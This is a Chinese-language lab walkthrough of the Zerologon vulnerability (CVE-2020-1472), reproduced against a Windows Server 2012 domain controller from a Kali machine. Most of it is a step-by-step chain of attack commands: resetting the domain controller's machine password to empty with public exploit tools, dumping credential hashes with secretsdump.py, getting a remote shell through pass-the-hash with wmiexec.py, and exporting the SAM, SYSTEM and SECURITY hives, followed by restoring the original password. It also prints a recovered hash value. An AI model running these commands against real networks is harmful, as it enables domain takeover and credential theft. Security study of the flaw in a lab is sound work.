简介
netlogon中使用的aes认证算法中的初始向量(iv)默认设置为0,使得攻击者可以绕过认证。此外,该算法还用于设置域控制器密码的远程接口,导致攻击者可以将域控制器中存储在active directory中的管理员密码设置为空。
复现环境
域控制器(DC):
- 操作系统:Windows Server 2012
- IP地址:192.168.106.137
攻击机:
- 操作系统:Kali Linux
- IP地址:192.168.106.129
影响版本和域环境搭建
关于域环境的搭建,可以参考文章《Windows Server 2012搭建域环境》。搭建完成后,可以使用
Netdom query fsmo命令查看域环境信息。

使用
nbtstat -n获取当前机器的NetBIOS名称。

复现过程
漏洞验证
下载漏洞验证工具:
https://github.com/SecuraBV/CVE-2020-1472
验证漏洞是否存在:
python3 zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR
如下图所示,漏洞存在。

漏洞利用
下载漏洞利用工具:
git clone https://github.com/dirkjanm/CVE-2020-1472
置空DC的密码:
python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

如果出现了下图中的错误:

可以参考图中的方式进行修复。

获取HASH
使用impacket包中的secretsdump.py来获取相关的HASH:
python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -no-pass

获取shell
获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL:
python wmiexec.py -hashesDOMAIN/DOMAIN_USER@DC_IP_ADDR

恢复原HASH
执行以下命令,获取SAM中原来的HASH:
# SHELL reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save exit

保存在Kali中。

解析HASH,执行如下命令,利用secretsdump.py解析保存在本地的nt hash:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

需要保存的数据:
a5d65e274a2db831ae4b246ec8fe51de
恢复HASH
恢复HASH的工具:
git clone https://github.com/risksense/zerologon
执行命令:
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR

检查是否恢复
再次执行命令:
python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -no-pass

参考资料
[0] 参考文章: https://www.php.cn/link/9b531edcbb1a4a81e667cd8acce6b8ab
[1] Windows Server 2012搭建域环境: https://www.php.cn/link/96a0d70498272acfee21d3dbae846113
[2] CVE-2020-1472 域内提权完整利用: https://www.php.cn/link/36d3be4cf501c5ad9e07d3e2507b181a
[3] CVE-2020-1472复现: https://www.php.cn/link/308794a90ec43d779df31a2e865a6f36
[4] Windows Server 2012搭建域环境: https://www.php.cn/link/96a0d70498272acfee21d3dbae846113










